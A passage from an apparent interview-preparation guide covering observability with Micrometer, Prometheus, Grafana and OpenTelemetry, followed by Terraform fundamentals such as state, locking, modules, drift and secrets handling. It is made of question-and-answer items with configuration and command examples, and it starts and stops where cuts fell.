  PaymentService(MeterRegistry registry) {
    this.failures = Counter.builder("payments.failures").tag("provider",
"stripe").register(registry);
    this.latency =
Timer.builder("payments.latency").publishPercentileHistogram().register(registry);
  }
  void pay() { latency.record(() -> { /* call */ }); }
}
```

- Prometheus names become `payments_failures_total`, `payments_latency_seconds_*`.
- Use `publishPercentileHistogram()` (aggregable histogram buckets) rather than client-side percentiles, which cannot be averaged across instances.
- Gauge holds a weak reference to the observed object; keep a strong reference.

FOLLOW-UP TRAPS

- **Can you average p99 across pods?** No; aggregate histogram buckets then compute the quantile.
- **Why did my gauge disappear?** The backing object was garbage collected.

#micrometer #meters

Q5 How does Prometheus collect metrics and what is its data model? BASIC

Prometheus pulls (scrapes) text-format metrics over HTTP from targets at an interval and stores them as time series identified by a metric name plus labels. Targets are found through static config or service discovery (Kubernetes).

```
scrape_configs:
  - job_name: orders
    metrics_path: /actuator/prometheus
    scrape_interval: 15s
    kubernetes_sd_configs:
      - role: pod
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
        action: keep
        regex: "true"
```

- Types: counter, gauge, histogram, summary.
- Pull gives built-in target-health (`up` metric) and central control; short-lived jobs use the Pushgateway.
- With the Prometheus Operator, use `ServiceMonitor` / `PodMonitor` instead of raw config.

FOLLOW-UP TRAPS

- **What does `up == 0` mean?** The last scrape of that target failed.
- **Is Prometheus good for long-term storage?** Not by itself; use remote write to Thanos/Mimir/Cortex.

#prometheus #scraping

Q6 Write and explain the essential PromQL for counters, `rate`, and aggregation. INTERMEDIATE

Counters only increase, so you query their per-second rate over a window, then aggregate by labels.

```
# requests per second per service
sum by (application) (rate(http_server_requests_seconds_count[5m]))

# error ratio
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/
sum(rate(http_server_requests_seconds_count[5m]))

# p99 latency from histogram buckets
histogram_quantile(0.99,
  sum by (le) (rate(http_server_requests_seconds_bucket[5m])))
```

- `rate` handles counter resets and extrapolates; window should be at least 4x the scrape interval.
- `increase(x[1h])` is total increase; `irate` is instantaneous and noisy, for graphs of volatile series only.
- Always aggregate with `sum by (le)` before `histogram_quantile`.

FOLLOW-UP TRAPS

- **Why `rate` before `sum`, not after?** Summing counters first hides per-series resets, producing wrong rates.
- **Is the result of `histogram_quantile` exact?** No, an interpolation within bucket boundaries.

#promql #rate

Q7 What are the RED and USE methods?

BASIC

RED is for request-driven services: Rate, Errors, Duration. USE is for resources: Utilization, Saturation, Errors. Use RED per service endpoint and USE for CPU, memory, disk, connection pools, thread pools.

- RED example for Spring: request rate, 5xx ratio, p95/p99 latency from `http.server.requests`.
- USE example: Hikari pool active/max (utilization), pending threads (saturation), timeouts (errors).
- Add the "Four Golden Signals" saturation view for services as well: latency, traffic, errors, saturation.

FOLLOW-UP TRAPS

- **Why watch saturation?** It predicts failure before errors appear (queue growing before timeouts).
- **Which method for a database?** USE, plus RED from the client side.

#red #use #methodology

Q8 What makes a good Grafana dashboard for a service?

INTERMEDIATE

A layered dashboard that answers "is it broken, where, and why" top-down: SLO/summary row first, then RED, then dependencies and resources, with variables for environment/service/pod.

- Top row: traffic, error %, p95/p99, SLO burn.
- Middle: per-endpoint breakdown, downstream calls, DB pool, JVM heap/GC/threads.
- Use template variables (`$application`, `$namespace`), annotations for deploys, and links to logs/traces filtered by the same labels.
- Provision dashboards as code (JSON/Jsonnet/Grafonnet via Grafana provisioning or Terraform) so they are versioned and reviewable.
- Avoid dashboard sprawl and vanity graphs; each panel must support a decision.

FOLLOW-UP TRAPS

- **Why annotate deploys?** Most incidents correlate to change.
- **Should alerts live only in Grafana panels?** Prefer Prometheus/Alertmanager rules in Git for version control.

#grafana #dashboards

Q9 How does Prometheus alerting work and what are the Alertmanager responsibilities?

INTERMEDIATE

Prometheus evaluates alert rules and sends firing alerts to Alertmanager, which deduplicates, groups, silences, inhibits and routes them to receivers (Slack, PagerDuty).

```
groups:
  - name: orders
    rules:
      - alert: HighErrorRate
        expr: |
          sum(rate(http_server_requests_seconds_count{application="orders",status=~"5.."}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="orders"}[5m])) > 0.05
        for: 10m
        labels: { severity: page }
        annotations:
          summary: "orders 5xx ratio above 5% for 10m"
          runbook_url: https://runbooks.acme.io/orders-5xx
```

- `for` suppresses flapping; too long delays detection.
- Alert on symptoms (user impact) rather than every cause; every page must be actionable and have a runbook.

FOLLOW-UP TRAPS

- **What does inhibition do?** Mutes dependent alerts when a root-cause alert fires.
- **Silence vs inhibition?** Silence is manual and time-bound; inhibition is rule-based.

#alerting #alertmanager

Q10 What are SLIs, SLOs, error budgets and burn-rate alerts? ADVANCED

An SLI is a measured indicator (ratio of good requests), an SLO the target (99.9% over 30 days), and the error budget the allowed failure (0.1%). Burn rate is how fast you consume the budget relative to even spending; a burn rate of 1 uses the whole budget exactly at 30 days.

Multi-window multi-burn-rate alert (page when 14.4x over 1h and 5m, meaning 2% of monthly budget in an hour):

```
(
  sum(rate(http_server_requests_seconds_count{status=~"5.."}[1h]))
  / sum(rate(http_server_requests_seconds_count[1h])) > (14.4 * 0.001)
)
and
(
  sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
  / sum(rate(http_server_requests_seconds_count[5m])) > (14.4 * 0.001)
)
```

- Typical set: 14.4x (1h/5m) page, 6x (6h/30m) page, 1x-3x (1d-3d) ticket.
- The short window makes the alert reset quickly after recovery.

FOLLOW-UP TRAPS

- **Why two windows?** The long window gives significance, the short window avoids alerting long after recovery.
- **Does 99.99% mean the same alerts?** Thresholds scale with the budget (0.0001), so low-traffic services get noisy.

#slo #burn-rate #sre

Q11 Explain distributed tracing, spans and context propagation with OpenTelemetry. INTERMEDIATE

A trace is a tree of spans (timed operations) sharing a trace ID. Context propagation passes the trace ID and parent span ID between services via headers (W3C `traceparent`), so each service continues the same trace.

```
# Spring Boot 3: Micrometer Tracing bridge to OpenTelemetry
management:
  tracing:
    sampling:
      probability: 0.1
  otlp:
    tracing:
      endpoint: http://otel-collector:4318/v1/traces
```

- Dependencies: `micrometer-tracing-bridge-otel` and `opentelemetry-exporter-otlp`.
- Use an OpenTelemetry Collector between apps and the backend (Tempo/Jaeger) for batching, sampling and routing.
- Spring Cloud Sleuth is gone in Boot 3; replaced by Micrometer Tracing.

FOLLOW-UP TRAPS

- **Does the default RestTemplate propagate?** Only when built from the auto-configured `RestTemplateBuilder` / `RestClient.Builder` / `WebClient.Builder` bean.
- **Head vs tail sampling?** Head decides at the start (cheap, may miss errors); tail decides after the trace completes (keeps errors/slow, needs a collector).

#opentelemetry #tracing

Q12 How do correlation IDs and trace IDs fit together in logs? INTERMEDIATE

Put the trace ID into every log line so you can jump from a trace to its logs and back. With Micrometer Tracing, `traceId` and `spanId` are placed into MDC automatically.

```
logging:
  pattern:
    correlation: "[${spring.application.name:},%X{traceId:-},%X{spanId:-}] "
  include-application-name: false
```

- Return the trace ID in an error response or header so support can quote it.
- For messaging, propagate the header in message metadata (Kafka headers), and use observation-enabled templates.
- A business correlation ID (order ID) is complementary but not a replacement for trace IDs.

FOLLOW-UP TRAPS

- **Is a request ID the same as a trace ID?** A request ID may be per-hop; a trace ID spans the whole call graph.
- **What if the upstream is not instrumented?** The trace restarts there; propagate headers through gateways.

#correlation-id #logging #tracing

Q13 Which JVM metrics matter most and what do they reveal? INTERMEDIATE

Heap usage after GC, GC pause time/frequency, thread counts, and CPU. Micrometer exposes them as `jvm_*` and `process_*`.

```
# heap after GC trend (leak signal: rising floor)
jvm_memory_used_bytes{area="heap"}

# GC pause time per second
sum(rate(jvm_gc_pause_seconds_sum[5m]))

# live threads
jvm_threads_live_threads

# pool saturation
hikaricp_connections_active / hikaricp_connections_max
```

- A rising floor of heap after each major GC suggests a memory leak.
- Time in GC above ~5-10% indicates memory pressure.
- Container-level: `container_memory_working_set_bytes` against the limit to anticipate OOMKill (heap is only part of RSS; metaspace, threads, direct buffers count).

FOLLOW-UP TRAPS

- **Is high heap usage bad?** Not by itself; JVM fills heap lazily; watch usage after GC.
- **Why is RSS larger than the heap?** Off-heap memory: metaspace, thread stacks, code cache, direct buffers.

#jvm #metrics #gc

Q14 What is metric cardinality and why can it kill Prometheus? ADVANCED

Each unique combination of label values is a separate time series. Labels with unbounded values (user ID, full URL, trace ID) create millions of series, exploding memory and query time.

- Use URI templates (`/orders/{id}`), which Spring MVC does for `http.server.requests`; avoid raw paths in custom meters.

- Inspect the top cardinalities: `topk(10, count by (__name__) ({__name__=~".+"}))` and the TSDB status page.
- Drop labels or metrics at scrape with `metric_relabel_configs`, and set `sample_limit` per job.
- Put high-cardinality identifiers in traces/logs, not metrics.

> **FOLLOW-UP TRAPS**
> - **Are histograms costly?** Each bucket is a series; 15 buckets times labels multiplies quickly.
> - **Does `status` code label hurt?** Low cardinality; fine.

#cardinality #prometheus

Scenarios

Q15 Latency alerts fire for the orders API. Walk through how you find the cause using metrics, traces and logs. INTERMEDIATE

Go top-down and narrow: scope, then dependency, then code.

1. Scope: is it all endpoints or one, all pods or one, started at a deploy? (RED dashboard split by `uri`, `pod`; deploy annotations.)
2. Compare p99 vs p50: a tail-only problem suggests contention, GC or a slow dependency.
3. Check saturation: Hikari pending, thread pool queue, CPU throttling, GC pauses.
4. Open slow traces (exemplars or Tempo search `duration > 2s`) to see which span dominates (DB, HTTP call).
5. Pivot to logs by `traceId` for errors/retries in that span.

```
histogram_quantile(0.99, sum by (le, uri)
(rate(http_server_requests_seconds_bucket{application="orders"}[5m])))
```

- Mitigate before root-causing: rollback a recent deploy, scale out, or disable a flag.

> **FOLLOW-UP TRAPS**
> - **Why check p50 too?** Equal rise means a global slowdown; tail-only means a subset.
> - **Is CPU low so CPU is not the problem?** CFS throttling (`container_cpu_cfs_throttled_periods_total`) can slow a service with low average CPU.

#incident #debugging #latency

Q16 The service is OOMKilled every few hours but heap graphs look fine. What do you check? ADVANCED

OOMKilled means the container's total memory (RSS) exceeded its limit; the JVM heap is only a fraction.

- Compare `container_memory_working_set_bytes` vs `jvm_memory_used_bytes` by area; look at non-heap, `jvm_buffer_memory_used_bytes` (direct buffers; Netty), `jvm_threads_live_threads`, metaspace.
- Check `-XX:MaxRAMPercentage`: 75% heap on a small container leaves little for the rest; try 50-60%.
- Enable `-XX:NativeMemoryTracking=summary` and run `jcmd <pid> VM.native_memory`.
- Thread-per-request with thousands of threads costs stack memory; each thread ~1MB reserved.
- Distinguish from `java.lang.OutOfMemoryError` (JVM-reported, in logs) vs exit code 137 (kernel kill).

```
resources:
  requests: { memory: 1Gi }
  limits:   { memory: 1Gi }
env:
  - name: JAVA_TOOL_OPTIONS
    value: "-XX:MaxRAMPercentage=60"
```

FOLLOW-UP TRAPS

- **Should memory request equal limit?** For guaranteed QoS and predictable scheduling, usually yes for memory.
- **Does `-Xmx` equal container memory?** No; total process memory is greater than `-Xmx`.

#oomkilled #memory #kubernetes

Q17 Alerts page the team 30 times a night, mostly self-resolving. How do you fix alert fatigue? INTERMEDIATE

Move from cause-based, threshold-twitchy alerts to symptom/SLO-based ones, and delete or downgrade what is not actionable.

- Audit: for each alert, did a human take action? If not, remove or send to a ticket/chat channel.
- Add `for:` durations and multi-window burn rates instead of instantaneous thresholds.
- Group and inhibit in Alertmanager (a node down should not also page for every pod on it).
- Every page needs a runbook link and an owner; review alert quality in the on-call handover.

```
route:
  group_by: [alertname, application]
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h
  routes:
    - matchers: [severity="page"]
      receiver: pagerduty
    - receiver: slack-warnings
```

FOLLOW-UP TRAPS

- **Is CPU > 80% a page?** Usually no; it is a cause, not a user-impacting symptom.
- **Does raising `for` always help?** It trades detection time for fewer flaps.

#alerting #alert-fatigue

Q18 Your trace backend shows broken traces: the gateway and the orders service appear as separate traces. Why? INTERMEDIATE

Context was not propagated across a hop. Common causes: the HTTP client was created with `new RestTemplate()` rather than the injected builder, an async executor lost the context, the gateway strips `traceparent`, or services use different propagation formats (B3 vs W3C).

```
@Bean
RestClient restClient(RestClient.Builder builder) {   // builder bean carries
observation/propagation
  return builder.baseUrl("http://payments").build();
}
```

- For `@Async`, wrap executors with context propagation (`ContextPropagatingTaskDecorator`, Boot 3.2+).
- Verify with `curl -v -H 'traceparent: 00-<32hex>-<16hex>-01'` and check the same trace ID downstream.
- Ensure sampling decision is parent-based so a sampled parent leads to sampled children.

FOLLOW-UP TRAPS

- **Why are some traces partially present?** Different sampling rates per service without a parent-based sampler.
- **Does Kafka propagate automatically?** Only with observation enabled on the templates/listeners.

#tracing #propagation #debugging

Q19 Prometheus memory is growing and queries time out after a release. What happened?

ADVANCED

Almost certainly a cardinality explosion from a new label with unbounded values (user ID, request path with ids, exception message).

- Check `prometheus_tsdb_head_series` growth, and the TSDB status page for top label names and metrics.
- Find the offender: `topk(10, count by (__name__)({__name__=~".+"}))`.
- Fix in code (remove or bound the tag), then drop at ingestion as a stopgap.

```
metric_relabel_configs:
  - source_labels: [__name__]
    regex: "orders_lookup_.*"
    action: drop
```

- Guardrail: `sample_limit` and `label_limit` in scrape config so a bad deploy fails scrapes instead of OOM-ing Prometheus.
- Churn (pods recreated) also inflates series; avoid `pod` label on application-level metrics where not needed.

FOLLOW-UP TRAPS

- **Does deleting the metric free memory immediately?** Series leave the head after compaction, not instantly.
- **Why do Kubernetes rollouts increase series?** Each new pod name is a new series set.

#cardinality #prometheus #troubleshooting

Q20 After a rollout, how do you prove the new version is healthy using Prometheus?

INTERMEDIATE

Compare the new version's RED against the old one using a `version` label (from pod labels via relabeling or Micrometer common tags), then gate the rollout on it.

```
sum by (version) (rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/
sum by (version) (rate(http_server_requests_seconds_count[5m]))
```

```
histogram_quantile(0.95, sum by (le, version)
  (rate(http_server_requests_seconds_bucket[5m])))
```

- Add the version tag: `management.metrics.tags.version=${app.version}`.
- Check readiness/restarts too: `increase(kube_pod_container_status_restarts_total[15m]) > 0`.
- Automate with Argo Rollouts/Flagger analysis rather than a human staring at graphs.

FOLLOW-UP TRAPS

- **Why compare ratio, not raw errors?** Traffic split differs, so absolute counts mislead.
- **Is a short window reliable?** Low-traffic canaries need a minimum sample size.

#rollout #comparison #promql

Q21 Log volume costs doubled. How do you reduce it without losing debuggability?

INTERMEDIATE

Find the top noisy loggers, fix levels, then sample and tier.

- Query volume per logger/level (Loki: `sum by (logger) (count_over_time({app="orders"}[1h]))`).
- Set DEBUG/TRACE off in production; adjust per package at runtime via Actuator `/loggers` when debugging, with automatic revert.
- Do not log per-item inside loops, request/response bodies, or health-check hits.
- Log errors once, at the boundary, with the stack trace; avoid log-and-rethrow duplicates.
- Retention tiers: hot short window, cheap archive for long; derive metrics instead of searching logs for counts.

```
curl -X POST localhost:8080/actuator/loggers/com.acme.orders \
  -H 'Content-Type: application/json' -d '{"configuredLevel":"DEBUG"}'
```

FOLLOW-UP TRAPS

- **Is changing level via Actuator persistent?** No, it resets on restart.
- **Can structured logs reduce cost?** They improve queryability; compression helps, but volume reduction needs fewer events.

#logging #cost

Q22 Users report intermittent 502s that do not appear in the application's error metrics. Where do you look? ADVANCED

The failure is occurring before the app records it (ingress/LB/connection layer) or the app is dying/not ready. Check the layer that emits the 502.

- Ingress/LB metrics and logs: upstream connect errors, `upstream_response_time`, 502/504 counts per backend.
- Pod restarts, readiness flaps and rollout timing: `kube_pod_container_status_restarts_total`, termination during deploys.
- Graceful shutdown: pod removed from endpoints after SIGTERM races causes resets; need `preStop` sleep and `server.shutdown=graceful`.
- Keep-alive mismatch: LB idle timeout longer than Tomcat `keep-alive-timeout` closes connections the LB reuses.
- App-side metric `http.server.requests` only counts requests the app handled.

```
lifecycle:
  preStop:
    exec: { command: ["sleep", "10"] }
```

FOLLOW-UP TRAPS

- **Why app metrics show no 5xx?** The connection was reset or never reached the handler.
- **What differs between 502 and 504?** 502 bad/closed upstream response; 504 upstream timeout.

#502 #ingress #debugging

Q23 Design the minimum observability setup for a new Spring Boot microservice. INTERMEDIATE

Metrics, structured correlated logs, traces and a few alerts, all from configuration.

```
management:
  endpoints.web.exposure.include: health,info,prometheus
  endpoint.health.probes.enabled: true
  metrics:
    tags: { application: ${spring.application.name} }
    distribution:
      percentiles-histogram:
        http.server.requests: true
      slo:
        http.server.requests: 100ms,300ms,1s
  tracing.sampling.probability: 0.1
logging.structured.format.console: ecs
```

- Dashboards: RED + JVM + Hikari + downstream calls, provisioned from Git.
- Alerts: burn-rate on availability and latency SLO, plus pod restarts and saturation warnings.
- Runbook link on each alert; trace ID in error responses.

FOLLOW-UP TRAPS

- **Why `percentiles-histogram` for http.server.requests?** It exports buckets so p99 is aggregable across pods.
- **Is 100% tracing sampling fine?** Costly at scale; use probabilistic or tail sampling.

#design #checklist

Q24 Thread dumps and metrics show all request threads blocked. How do you diagnose a hang? ADVANCED

Capture 3 thread dumps ~10s apart and see what the blocked threads wait on; commonly they wait for a DB connection (pool exhausted), a lock or a slow downstream without timeouts.

```
jcmd <pid> Thread.print > td1.txt
# look for: "parking to wait for <HikariPool>", "BLOCKED", or "Found one Java-level deadlock"
```

- Metrics confirm: `hikaricp_connections_pending > 0`, `hikaricp_connections_active == max`, `hikaricp_connections_timeout_total` rising.
- Cause patterns: long transactions holding connections while calling remote services, leaked connections, missing HTTP client timeouts.
- Fix: timeouts everywhere, shorter transactions, bulkheads, right-sized pool.

FOLLOW-UP TRAPS

- **Does a bigger pool fix it?** It can overload the database; fix the holding time first.
- **Is one dump enough?** No, take several to distinguish stuck from busy.

#thread-dump #deadlock #hikari

Q25 Error rate alert is firing, but the traffic dropped to near zero. What is wrong with the alert and how do you fix it? ADVANCED

A ratio over tiny traffic is noisy (1 error in 2 requests = 50%), and total outage yields division by zero (no data) so the alert may not fire at all. Add a minimum-traffic condition and a separate absence/traffic-drop alert.

```
# error ratio only when there is meaningful traffic
(
  sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
  / sum(rate(http_server_requests_seconds_count[5m]))
  > 0.05
)
and sum(rate(http_server_requests_seconds_count[5m])) > 1

# outage: traffic vanished compared to the same time last week
sum(rate(http_server_requests_seconds_count[5m])) < 0.1 *
sum(rate(http_server_requests_seconds_count[5m] offset 1w))
```

- Use `absent(up{job="orders"} == 1)` to catch missing targets.
- Black-box probes (blackbox_exporter) cover total outages from the outside.

FOLLOW-UP TRAPS

- **Why does `a/b` return nothing at zero traffic?** `0/0` is NaN and the vector is empty for no series, so the alert never fires.
- **Is `absent()` enough for outage?** Only for missing series; probes detect reachable-but-broken.

#alerting #low-traffic #promql

DOCKER, CLOUD & DEVOPS · CHAPTER 6

Terraform Fundamentals

Terraform state, remote backends and locking, plan/apply workflow, modules, variables, drift detection, workspaces, import, secrets in state and common production scenarios.

24 questions **6** basic **13** intermediate **5** advanced

Theory

Q1 What is Terraform and how does its declarative model work? BASIC

Terraform is an infrastructure-as-code tool: you declare desired resources in HCL, and Terraform computes the difference between desired config, recorded state and real infrastructure, then applies the needed API calls through providers.

```
terraform {
  required_providers {
    aws = { source = "hashicorp/aws", version = "~> 5.0" }
  }
}

resource "aws_s3_bucket" "logs" {
  bucket = "acme-orders-logs"
}
```

- Core loop: `init` (download providers/modules, configure backend), `plan`, `apply`, `destroy`.
- Resources form a dependency graph from references; independent ones are created in parallel.

FOLLOW-UP TRAPS

- **Is order in the file significant?** No, the dependency graph determines order.
- **What does `~> 5.0` allow?** Any 5.x version, not 6.0.

#fundamentals #declarative

Q2 What is Terraform state and why does it exist? BASIC

State is a JSON mapping from resource addresses in config to real object IDs plus their last known attributes. Terraform needs it to know what it manages, to compute diffs efficiently, and to track dependencies and metadata.

- Without state Terraform could not know which existing bucket corresponds to `aws_s3_bucket.logs`.
- State can contain sensitive values in plaintext.
- Never edit it by hand; use `terraform state` subcommands.

FOLLOW-UP TRAPS

- **Should state be committed to Git?** No: secrets exposure, no locking, merge conflicts.
- **What if state is lost?** Terraform thinks nothing exists and tries to create duplicates; recover with backups or `import`.

#state

Q3 Why use a remote backend with locking, and how do you configure one on AWS? INTERMEDIATE

A remote backend shares state across the team and CI, supports encryption and versioning, and locks state during writes so concurrent applies cannot corrupt it.

```
terraform {
  backend "s3" {
    bucket         = "acme-tf-state"
    key            = "prod/orders/terraform.tfstate"
    region         = "eu-west-1"
    encrypt        = true
    use_lockfile   = true   # S3-native locking, Terraform 1.10+
  }
}
```

- Before 1.10, locking used a DynamoDB table (`dynamodb_table = "tf-locks"`), which is now deprecated in favour of S3 native lockfiles.
- Enable bucket versioning, block public access, restrict IAM.
- Split state by environment/component to limit blast radius.

FOLLOW-UP TRAPS

- **What if a lock is stuck?** `terraform force-unlock <ID>`, only after confirming no run is active.
- **Can variables be used in the backend block?** No, use `-backend-config` files or partial configuration.

#backend #locking

Q4 What does `terraform plan` do and how should plans be used in CI? BASIC

`plan` refreshes real state, compares it with config and prints the proposed create/update/destroy actions without changing anything. In CI, save the plan and apply exactly that file so what was reviewed is what runs.

```
terraform init -input=false
terraform plan -out=tfplan -input=false
terraform apply -input=false tfplan
```

- Symbols: `+` create, `~` update in place, `-/+` replace (destroy then create), `-` destroy.
- A saved plan can contain secrets; store it as a protected artifact.

FOLLOW-UP TRAPS

- **Can apply differ from plan without a saved plan?** Yes, if infra or config changed between them.
- **What does `-/+` imply?** Downtime or data loss risk for stateful resources.

#plan #apply

Q5 How do variables, locals and outputs differ? BASIC

Input variables parameterize a module, locals are internal computed names, and outputs expose values to the caller or the CLI.

```
variable "env" {
  type = string
  validation {
    condition     = contains(["dev", "stage", "prod"], var.env)
    error_message = "env must be dev, stage or prod."
  }
}

variable "db_password" {
  type      = string
  sensitive = true
}

locals { name = "orders-${var.env}" }

output "db_endpoint" { value = aws_db_instance.main.endpoint }
```

- Precedence (low to high): defaults, `TF_VAR_name` environment variables, `terraform.tfvars`, `*.auto.tfvars`, then `-var` and `-var-file` in command-line order.
- `sensitive = true` hides values in CLI output but not in state.

FOLLOW-UP TRAPS

- **Does `sensitive` encrypt state?** No, it only redacts display.
- **Can variables reference other variables?** No, use locals for that.

#variables #outputs

Q6 What are modules and what makes a good one? INTERMEDIATE

A module is a directory of Terraform files called with inputs and returning outputs. Every config is a root module that may call child modules.

```
module "orders_db" {
  source  = "terraform-aws-modules/rds/aws"
  version = "~> 6.0"
  identifier = "orders-${var.env}"
}
```

- Good modules: small, single purpose, typed variables with descriptions, minimal required inputs, useful outputs, version pinned.
- Avoid deep nesting and "god" modules with dozens of toggles.
- Version modules via Git tags or registry versions; pin in callers.

FOLLOW-UP TRAPS

- **Can you `count` or `for_each` a module?** Yes since 0.13.
- **Does a module have its own state?** No, it shares the root's state under a module address.

#modules #reuse

Q7 Explain `count` vs `for_each` and the index-shift problem. INTERMEDIATE

`count` creates indexed instances; `for_each` creates instances keyed by map keys or set elements. Removing an item in the middle of a `count` list shifts all later indexes and causes destroy/recreate; `for_each` keys are stable.

```
resource "aws_sqs_queue" "q" {
  for_each = toset(["orders", "payments", "emails"])
  name     = "${each.key}-${var.env}"
}
```

- `for_each` keys must be known at plan time (not derived from unknown resource attributes).
- Use `count = var.enabled ? 1 : 0` for simple conditional resources.

FOLLOW-UP TRAPS

- **Can you use both on one resource?** No.
- **Why "keys cannot be determined until apply"?** The collection depends on a value known only after creation; restructure or use two-stage applies.

#count #for-each

Q8 What is configuration drift and how do you detect and handle it? INTERMEDIATE

Drift is real infrastructure differing from state/config because of manual console edits or other tools. `terraform plan` (which refreshes) shows it; `plan -refresh-only` shows drift alone without proposing config changes.

- Decide per change: revert it (apply), or adopt it by updating config (and `apply -refresh-only` to accept into state).

- Detect continuously with scheduled plans in CI that alert on non-empty diffs (`-detailed-exitcode`: 0 no change, 2 changes).
- Restrict console write access to reduce drift; use `lifecycle { ignore_changes }` only for fields legitimately managed elsewhere.

> **FOLLOW-UP TRAPS**
> - **Does Terraform notice resources created outside it?** No, only those in state.
> - **What does exit code 2 mean?** The plan has changes.

#drift

Q9 How do workspaces work and when should you not use them? INTERMEDIATE

CLI workspaces give the same configuration and backend multiple named state files (`terraform.workspace`). They are suited to short-lived copies, not strongly isolated environments.

```
terraform workspace new staging
terraform workspace select staging
```

- Weak isolation: same backend credentials and code; easy to apply to prod by selecting the wrong workspace.
- For dev/stage/prod, prefer separate directories or root modules with separate state, backends and credentials, reusing shared modules; Terragrunt or per-env tfvars help.

> **FOLLOW-UP TRAPS**
> - **Are CLI workspaces the same as Terraform Cloud workspaces?** No, Cloud workspaces are separate units with their own state and variables.
> - **What is the default workspace name?** `default`.

#workspaces #environments

Q10 How does `terraform import` work and what changed with import blocks? INTERMEDIATE

Import attaches an existing real resource to a resource address in state without creating it. You must still write the matching configuration.

```
import {
  to = aws_s3_bucket.logs
  id = "acme-orders-logs"
}

resource "aws_s3_bucket" "logs" {
  bucket = "acme-orders-logs"
}
```

- Since Terraform 1.5, declarative `import` blocks go through `plan` and `apply`, and `terraform plan -generate-config-out=gen.tf` can draft config.
- The legacy CLI `terraform import addr id` changes state immediately without a plan review.
- After import, run plan until it shows no diff.

> **FOLLOW-UP TRAPS**
> - **Does import write config for you?** Only with `-generate-config-out` (experimental drafts needing review).
> - **Does it import dependencies too?** No, each resource individually.

#import

Q11 What are the secrets risks in Terraform state and how do you mitigate them? ADVANCED

Any attribute a provider returns, including generated passwords and keys, is stored in plaintext in state, regardless of `sensitive`. Anyone with state read access can read them.

- Encrypt the backend (SSE-KMS), restrict access with IAM, enable versioning and audit logging.
- Avoid creating secrets in Terraform when possible: reference existing ones from Secrets Manager/Vault with data sources, or let the service generate them (RDS `manage_master_user_password = true`).
- Terraform 1.10+ ephemeral values and 1.11 write-only attributes (`password_wo`) keep values out of state where providers support them.
- Never put secrets in `.tfvars` committed to Git; use `TF_VAR_*` from the CI secret store.

> **FOLLOW-UP TRAPS**
> - **Does a `sensitive` output hide it in state?** No, it is still stored.
> - **Does `data "aws_secretsmanager_secret_version"` leak?** The fetched value is stored in state.

#secrets #state #security

Q12 What are lifecycle rules and when do you use `prevent_destroy`, `create_before_destroy`, and `ignore_changes`? INTERMEDIATE

`lifecycle` overrides default create/update/delete behaviour per resource.

```
resource "aws_db_instance" "main" {
  # ...
  lifecycle {
    prevent_destroy = true
    ignore_changes  = [engine_version]
  }
}
```

- `prevent_destroy`: plan fails if the resource would be destroyed; guard for databases and state buckets. It does not stop removal of the block itself.
- `create_before_destroy`: build the replacement first to avoid downtime (names/unique constraints must not collide).
- `ignore_changes`: skip drift on attributes managed elsewhere (autoscaling desired count, tags set by tooling).

> **FOLLOW-UP TRAPS**
> - **Does `prevent_destroy` stop `terraform destroy` if you delete the resource block?** No; with the block deleted the guard disappears.
> - **Is `create_before_destroy` always safe?** Not with fixed names or single-instance constraints.

#lifecycle

Scenarios

Q13 Two engineers run `terraform apply` at the same time on the same state. What happens? BASIC

With a backend that supports locking, the second run fails with "Error acquiring the state lock" and shows the lock holder ID, user and time. Without locking, both read the same state and the later write can overwrite the first, orphaning real resources.

- Never use `-lock=false` in normal operation.
- If a crashed run left a lock, confirm no process is running, then `terraform force-unlock <LOCK_ID>`.
- Serialize applies in CI (one pipeline per state, concurrency groups).

```
concurrency:
  group: tf-prod-orders
  cancel-in-progress: false
```

FOLLOW-UP TRAPS

- **Does locking protect against two different states managing the same resource?** No; avoid overlapping ownership.
- **Should CI cancel in-progress applies?** No, killing an apply mid-run can leave partial state.

#locking #concurrency

Q14 A plan shows `-/+ destroy and then create replacement` for a production database. What do you do? ADVANCED

Stop and find the attribute marked `# forces replacement`; do not apply. Replacement of a stateful resource means data loss or downtime.

- Common causes: changing `identifier`, `engine`, subnet group, or a rename of the resource block in config.
- If it is a rename, use a `moved` block so state follows the new address.
- If an immutable attribute must change, plan a managed migration (snapshot, restore, cutover) rather than in-place replacement.
- Protect with `prevent_destroy = true` and `deletion_protection = true`.

```
moved {
  from = aws_db_instance.db
  to   = aws_db_instance.main
}
```

FOLLOW-UP TRAPS

- **Does `moved` change real infrastructure?** No, only state addresses.
- **Does deletion protection on the DB stop Terraform?** Terraform's apply would fail, which is the desired safety net.

#plan-review #data-loss

Q15 Someone changed a security group in the console. How do you reconcile without surprises? INTERMEDIATE

Run a plan to see the drift, then choose: revert it (apply as is) or accept it into code.

```
terraform plan -refresh-only
# if the manual change is the truth, update HCL to match, then:
terraform apply -refresh-only
terraform plan   # expect "No changes"
```

- Reverting could break whatever the manual change fixed (maybe an incident hotfix); ask first.
- Add scheduled drift detection and tighten IAM so console edits are rare.
- Inline `ingress` blocks vs separate `aws_security_group_rule` resources should not be mixed on the same group, as they fight.

FOLLOW-UP TRAPS

- **Is `-refresh-only` safe?** It only updates state, never infrastructure.
- **Why does Terraform keep removing a rule added by another tool?** The inline rules block is authoritative for the whole set.

#drift #refresh-only

Q16 You must move from one monolithic state to per-component states without recreating resources. How? ADVANCED

Move resources between states rather than destroying them.

```
terraform state pull > backup.tfstate          # always back up first
terraform state mv -state-out=../network/terraform.tfstate \
  aws_vpc.main aws_vpc.main
```

- Alternative: `removed` block with `lifecycle { destroy = false }` in the old config plus `import` blocks in the new config (declarative, reviewable).
- Verify both states with `plan` showing no changes before any other change.
- Use `terraform_remote_state` or data sources so consumers find the moved resources.

```
removed {
  from = aws_vpc.main
  lifecycle { destroy = false }
}
```

FOLLOW-UP TRAPS

- **Why not just delete and recreate the VPC?** Everything depending on it is destroyed too.
- **Does `state rm` destroy infra?** No, it only forgets it.

#state-surgery #refactoring

Q17 How do you share outputs (like VPC IDs) between separately managed Terraform configurations? INTERMEDIATE

Either read the producer's state with `terraform_remote_state`, or, preferably, look resources up with provider data sources, which decouples consumers from the producer's state layout and permissions.

```
data "aws_vpc" "main" {
  tags = { Name = "prod-main" }
}

data "terraform_remote_state" "network" {
  backend = "s3"
